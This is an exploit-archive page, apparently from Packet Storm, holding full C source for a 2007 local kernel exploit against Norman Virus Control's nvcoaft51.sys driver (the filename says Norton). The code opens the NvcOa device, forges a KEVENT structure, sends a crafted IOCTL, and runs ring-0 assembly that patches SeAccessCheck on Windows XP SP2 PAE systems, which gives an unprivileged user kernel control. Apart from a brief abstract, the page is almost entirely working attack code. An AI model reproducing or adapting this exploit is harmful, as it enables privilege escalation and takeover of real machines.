what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

norton-local.txt

norton-local.txt
Posted Aug 31, 2007
Authored by inocraM | Site 48bits.com

Norman Virus Control local exploit that makes use of nvcoaft51.sys.

tags | exploit, local, virus
SHA-256 | b12b06dc51562223f827800af12ca8909a53b821b648a6ce7537838aa2f2da7c

norton-local.txt

Change Mirror Download
/*
Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit


Abstract
nvcoaft51.sys driver receive as parameter in some ioctl's
a pointer to a KEVENT struct, calling KeSetEvent without
any prior check.
The device created by the driver (NvcOa) can be opened by
any user.
As result, a user can send a IOCTL with a fake KEVENT
struct and finish executing code at ring0

Author
inocraM - inocram[at]48bits[dot]com
48bits I+D team
www.48bits.com

OS
Tested against Windows XP SP2 (spanish) with a PAE kernel.

For educational purposes ONLY

*/

#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>

#define XPLT_KEVENT_IOCTL 0xbf672028


/* PSAPI */
typedef BOOL (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded);
typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize);

typedef struct _PS
{
HMODULE hLib;
ENUM_DEVICE_DRIVERS pEnumDeviceDrivers;
GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName;
}PS, *PPS;


VOID
psUnload(PPS pps)
{
if(pps)
{
if(pps->hLib)
{
FreeLibrary(pps->hLib);
}
free(pps);
}
}

PPS
psLoad()
{
PPS pps;

pps = (PPS) malloc(sizeof(PS));
if(pps)
{
pps->hLib = LoadLibraryA("psapi");
if(pps->hLib)
{
pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers");
pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA");
if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName)
{
psUnload(pps);
pps = NULL;
}
}
else
{
free(pps);
pps = NULL;
}
}
return pps;
}


BOOL
psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded)
{
return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded);
}

DWORD
psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize)
{
return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize);
}

LPVOID
psGetImageBaseByBaseName(PPS pps, LPCSTR szName)
{
DWORD dwSize = 0;
LPVOID *pDevices = NULL;
LPVOID pResult = NULL;

if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0))
{
pDevices = (LPVOID*)malloc(dwSize);
if(pDevices)
{
if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize))
{
DWORD i = 0;
DWORD dwNumberOfDrivers;

dwNumberOfDrivers = dwSize / sizeof(LPVOID);
while((i < dwNumberOfDrivers) && (NULL == pResult))
{
char szBaseName[MAX_PATH];

if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName)))
{
if(!_stricmp(szBaseName,szName))
{
pResult = pDevices[i];
}
}
i++;
}
}
free(pDevices);
}
}
return pResult;
}

/* OS detection */
#define OS_VERSION_UNKNOWN 0x00000000
#define OS_VERSION_NT 0x00010000
#define OS_VERSION_9X 0x00020000
#define OS_VERSION_WIN32S 0x00030000
#define OS_VERSION_NT4 OS_VERSION_NT + 0x00001000
#define OS_VERSION_2K OS_VERSION_NT + 0x00002000
#define OS_VERSION_XP OS_VERSION_NT + 0x00003000
#define OS_VERSION_2K3 OS_VERSION_NT + 0x00004000
#define OS_VERSION_VISTA OS_VERSION_NT + 0x00005000
#define OS_VERSION_95 OS_VERSION_9X + 0x00001000
#define OS_VERSION_98 OS_VERSION_9X + 0x00002000
#define OS_VERSION_ME OS_VERSION_9X + 0x00003000


DWORD
GetWindows9xVersion(POSVERSIONINFOEXA posvi)
{
DWORD dwVersion;

if(posvi->dwMajorVersion == 4)
{
switch(posvi->dwMinorVersion)
{
case 0:
dwVersion = OS_VERSION_95;
break;
case 10:
// TODO : we need extra code. this can be Windows ME
dwVersion = OS_VERSION_98;
break;
case 90:
dwVersion = OS_VERSION_ME;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
}
else
{
dwVersion = OS_VERSION_UNKNOWN;
}
return dwVersion;
}


DWORD
GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack)
{
DWORD dwVersion;

switch(posvi->dwMajorVersion)
{
case 6:
dwVersion = OS_VERSION_VISTA;
break;
case 5:
switch(posvi->dwMinorVersion)
{
case 2:
dwVersion = OS_VERSION_2K3;
break;
case 1:
dwVersion = OS_VERSION_XP;
break;
case 0:
dwVersion = OS_VERSION_2K;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
break;
case 4:
case 3:
case 2:
case 1:
case 0:
dwVersion = OS_VERSION_NT4;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}

// TODO : dont work correctly in various windows Versions. fix it.
if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack))
{
if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize)
{
(*pServicePack) = posvi->wServicePackMajor;
}
else
{
// TODO : parse szCSDVersion
}
}
return dwVersion;
}

// TODO : doesnt find correct SP for various windows versions, fix!
DWORD
GetWindowsVersionBase(PUINT pServicePack)
{
OSVERSIONINFOEXA osvi;
DWORD dwVersion;

if(pServicePack)
{
(*pServicePack) = 0;
}
memset(&osvi, 0, sizeof(OSVERSIONINFOEXA));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi))
{
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if(!GetVersionExA((LPOSVERSIONINFOA)&osvi))
{
return OS_VERSION_UNKNOWN;
}
}
switch(osvi.dwPlatformId)
{
case VER_PLATFORM_WIN32_NT:
dwVersion = GetWindowsNtVersion(&osvi, pServicePack);
break;
case VER_PLATFORM_WIN32_WINDOWS:
dwVersion = GetWindows9xVersion(&osvi);
break;
case VER_PLATFORM_WIN32s:
dwVersion = OS_VERSION_WIN32S;
break;
default:
dwVersion = OS_VERSION_UNKNOWN;
}
return dwVersion;
}

DWORD
GetWindowsVersion(PUINT pServicePack)
{
static BOOL bFirstCall = TRUE;
static DWORD OsVersion;
static UINT ServicePack;

if(bFirstCall)
{
OsVersion = GetWindowsVersionBase(&ServicePack);
bFirstCall = FALSE;
}
if(pServicePack)
{
(*pServicePack) = ServicePack;
}
return OsVersion;
}



HANDLE
OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode)
{
return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL);
}

VOID
CloseDevice(HANDLE hDevice)
{
CloseHandle(hDevice);
}


BOOL
xpltCheckWindowsVersion()
{
DWORD dwOsVersion;
BOOL bResult = FALSE;
UINT ServicePack;

printf("(*)Checking OS Version...\n");
dwOsVersion = GetWindowsVersion(&ServicePack);
if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2))
{
printf("(+)Detected Windows XP SP2.\n");
bResult = TRUE;
}
else
{
printf("(-)This exploit only runs on Windows XP SP2. Sorry.\n");
}
return bResult;
}

HANDLE
xpltOpenNvc0a()
{
HANDLE hDevice;

printf("(*)Opening NvcOa device...\n");
hDevice = OpenDevice("\\\\.\\NvcOa", GENERIC_READ + GENERIC_WRITE, 0);
if(INVALID_HANDLE_VALUE != hDevice)
{
printf("(+)Successfully opened NvcOa.\n");
}
else
{
printf("(-)Unable to open NvcOa. Sorry.\n");
}
return hDevice;
}

VOID
xpltCloseNvc0a(HANDLE hDevice)
{
CloseDevice(hDevice);
printf("(+)NvcOa device closed.\n");
}

PPS
xpltInitializePsApi()
{
PPS pps;
printf("(*)Loading PSAPI...\n");
pps = psLoad();
if(NULL != pps)
{
printf("(+)PSAPI loaded OK.\n");
}
else
{
printf("(-)Unable to load PSAPI. Sorry.\n");
}
return pps;
}

VOID
xpltFreePsApi(PPS pps)
{
psUnload(pps);
printf("(+)PSAPI Unloaded.\n");
}


LPBYTE
xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel)
{
LPBYTE pKernelBase;

printf("(*)Looking for NTOSKRNL base...\n");
(*pbPaeKernel) = FALSE;
pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE");
if(pKernelBase)
{
printf("(+)NTOSKRNL base found at %#x.\n",pKernelBase);
}
else
{
pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE");
if(pKernelBase)
{
printf("(+)NTOSKRNL(PAE) base found at %#x.\n",pKernelBase);
if(pbPaeKernel)
{
(*pbPaeKernel) = TRUE;
}
}
else
{
printf("(-)Unable to find NTOSKRNL base. Sorry.\n");
}
}
return pKernelBase;
}


/*
when the ioctl with a fake event structure is sent
a dword with the opcode "jmp[ecx]" is written and
this code is reached.
Be careful writing your own shellcode. Remember that
u are at DPC level
*/
__declspec(naked)
void
xpltPatchAndGo (void)
{
__asm
{
add esp,4
pop esi /* get a return addr to use as reference */
mov dword ptr[esi-0x60], 0x8B047289 /* patch the jmp[ecx] with the correct code */
mov word ptr[esi+0xE5303], 0x9090 /* patch SeAccessCheck :o) */
mov esp, ebp /* reconstruct the stack */
add esp, 0x10
xor bl, bl /* set IRQL value */
xor edi, edi /* set return value */
sub esi, 0x759F
push esi /* set retun address... */
ret /* and go */
}

}

VOID
xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel)
{

#ifdef _DEBUG
DebugBreak();
#endif

if(!bPaeKernel)
{
printf("(-)This exploit is only runs on a PAE kernel system. Sorry.\n");
}
else
{
DWORD dwReturnedBytes;
DWORD Buffer[1024]; /* user buffer size is not checked */
/* properly so i use a big enough buffer */
/* and i dont worry abaut it */

DWORD Event[31]; /* our event struct */

printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln...\n");
printf("(*)Writing fake event struct...\n");

*(BYTE*)Event = 1; /* set event type as Synchronization Event */

Event[2] = (DWORD)&(Event[3]); /* set event wait list as not empty so in */
/* event[3] start the first wait block */

Event[3] = (DWORD)&(Event[4]); /* set first element of the wait list */
/* event[4] will be our wait block */

((WORD*)Event)[17] = 1; /* set the wait block type to WaitAny */

Event[5] = (DWORD)&(Event[7]); /* set the trhead for the wait block, so */
/* event[7] will be our thread start */

Event[7] = (DWORD)xpltPatchAndGo; /* i put the shellcode addr on the first */
/* dword of the thread. This value is not */
/* checked by KeSetEvent related code, and */
/* the event struct will remain referenced */
/* by ecx,so writing a jmp[ecx] the */
/* shellocde will be reached */


Event[30] = (DWORD)&(Event[10]); /* fill thread wait block list with data */
/* so in event[10] start this wait block. */
/* First two dwords of the kwait block */
/* struct are a list entry. system will */
/* try to remove a item from this double */
/* linked list, and as consecuence, we */
/* can write an arbitrary dword at any */
/* address */


Event[10] = 0x000021FF; /* first entry will be a opcode, jmp[ecx] */

Event[11] = (DWORD)(pNtosBase + 0x291B4); /* second entry will be the address of th */
/* next opcode addr, and as result we will */
/* jmp to our shellcode */


Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer */
/* and explit it :o) */

printf("(*)Sending IOCTL...\n");
DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL);
printf("(+)IOCT sent. SeAccessCheck is now patched???\n");
}
}


VOID
xpltExecute()
{
if(xpltCheckWindowsVersion())
{
PPS pps;

pps = xpltInitializePsApi();
if(NULL != pps)
{
LPBYTE pKernelBase;
BOOL bPaeKernel;

pKernelBase = xpltGetKernelBase(pps,&bPaeKernel);
if(NULL != pKernelBase)
{
HANDLE hDevice;

hDevice = xpltOpenNvc0a();
if(INVALID_HANDLE_VALUE != hDevice)
{
xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel);
xpltCloseNvc0a(hDevice);
}
}
xpltFreePsApi(pps);
}
}
}

int main(int argc, char * argv[])
{
UNREFERENCED_PARAMETER(argc);
UNREFERENCED_PARAMETER(argv);

#ifdef _DEBUG
DebugBreak();
#endif

xpltExecute();
return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close